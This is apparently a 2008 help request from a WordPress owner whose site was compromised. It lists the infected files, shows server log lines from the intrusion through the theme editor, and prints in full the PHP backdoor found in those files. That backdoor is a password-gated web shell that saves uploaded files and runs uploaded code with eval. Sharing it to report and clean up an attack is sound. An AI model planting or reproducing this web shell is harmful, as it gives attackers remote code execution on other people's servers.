My WordPress installation has been exploited before by the various XML-RPC edits, but I believe I'd cleaned up everything. Today I noticed 3 distinctive hex strings at the top of every page. WordPress is otherwise fully functional.
c1608e58b7a40647381b4667630bf061
82d58bfc8dc7a2fa985939b01d5b694f
69175bee376c12eba6ddbd1f632a7f10
Google results find others a victim of the same exploit. Overwriting all files with another installation does not change this, suggesting it involves a theme not overwritten. I use a modified Hemingway.
The following files are compromised:
fixed_wp-blog-header.php
wp-admin/includes/fixed_schema.php
wp-admin/import/fixed_rss.php
wp-admin/fixed_edit-form-advanced.php
wp-content/fixed_wp-cache-config.php
wp-content/plugins/wp-super-cache/plugins/fixed_searchengine.php
wp-content/plugins/wp-super-cache/fixed_wp-cache-base.php
wp-content/plugins/geourl/fixed_geourl.php
wp-content/plugins/ald-meebome/fixed_admin.inc.php
wp-content/plugins/akismet/fixed_akismet.php
wp-content/plugins/fixed_hello.php
wp-content/themes/default/images/fixed_header-img.php
wp-content/themes/default/fixed_header.php
wp-content/themes/hemingway/blocks/fixed_related_posts.php
wp-content/themes/classic/fixed_header.php
wp-content/themes/quentin/fixed_header.php
wp-includes/js/fixed_wp-ajax-js.php
wp-includes/js/tinymce/plugins/spellchecker/includes/fixed_general.php
wp-includes/js/tinymce/plugins/spellchecker/fixed_config.php
wp-includes/js/tinymce/plugins/spellchecker/classes/utils/fixed_Logger.php
wp-includes/js/tinymce/plugins/spellchecker/classes/fixed_TinyPspellShell.class.php
wp-includes/js/tinymce/langs/fixed_wp-langs.php
wp-includes/js/tinymce/fixed_tiny_mce_config.php
wp-includes/fixed_pluggable-functions.php
wp-stats.php
The exploit was apparently triggered by the following visit which occurred after I had installed 2.5:
web.moea.unam.mx - - [14/Apr/2008:14:45:52 -0600] "POST /wp-login.php HTTP/1.0" 302 - "-" "Opera/9.01 (Windows NT 5.0; U; en)"
mostro.politicas.unam.mx - - [14/Apr/2008:14:45:55 -0600] "GET /wp-admin/theme-editor.php HTTP/1.0" 200 19961 "-" "Opera/9.01 (Windows NT 5.0; U; en)"
mostro.politicas.unam.mx - - [14/Apr/2008:14:45:59 -0600] "GET /wp-admin/theme-editor.php?file=wp-content/themes/hemingway/index.php&theme=Hemingway HTTP/1.0" 200 9922 "-" "Opera/9.01 (Windows NT 5.0; U; en)"
web.moea.unam.mx - - [14/Apr/2008:14:46:03 -0600] "POST /wp-admin/theme-editor.php HTTP/1.0" 302 - "-" "Opera/9.01 (Windows NT 5.0; U; en)"
web.moea.unam.mx - - [14/Apr/2008:14:46:07 -0600] "POST / HTTP/1.0" 200 12570 "-" "Opera/9.01 (Windows NT 5.0; U; en)"
web.moea.unam.mx - - [14/Apr/2008:14:46:11 -0600] "POST /wp-admin/theme-editor.php HTTP/1.0" 302 - "-" "Opera/9.01 (Windows NT 5.0; U; en)"
mostro.politicas.unam.mx - - [14/Apr/2008:14:46:14 -0600] "GET /wp-login.php?action=logout HTTP/1.0" 302 - "-" "Opera/9.01 (Windows NT 5.0; U; en)"
It's entirely possible I've had these files for some time and they were implanted by an earlier exploit, but did not express themselves until a new perhaps theme-editing exploit reactivated them. I'm not familiar at all with WordPress's workings or its security.
I believe all of the files contain the same code, buffered with many blank lines before and after. The "PASSWD" may be different in different files:
<?php
@error_reporting(E_ALL);
@set_time_limit(0);
global $HTTP_SERVER_VARS;
define('PASSWD','92c06d9c2c240ddd01f7cb449db72103');
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("mark_$t"));
};
echo "<pre>";
testdata('start');
if (md5($_POST["p"]) == PASSWD) {
if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"),
$HTTP_POST_FILES["s"]["size"])) {
if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code))
{
testdata('save_ok');
};
//eval($code);
} else {
testdata('save_fail');
};
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),
$HTTP_POST_FILES["f"]["size"]))
{
eval($code);
testdata('ok');
} else {
testdata('fail');
};
} else {
testdata('pass');
};
testdata('end');
echo "</pre>";
?>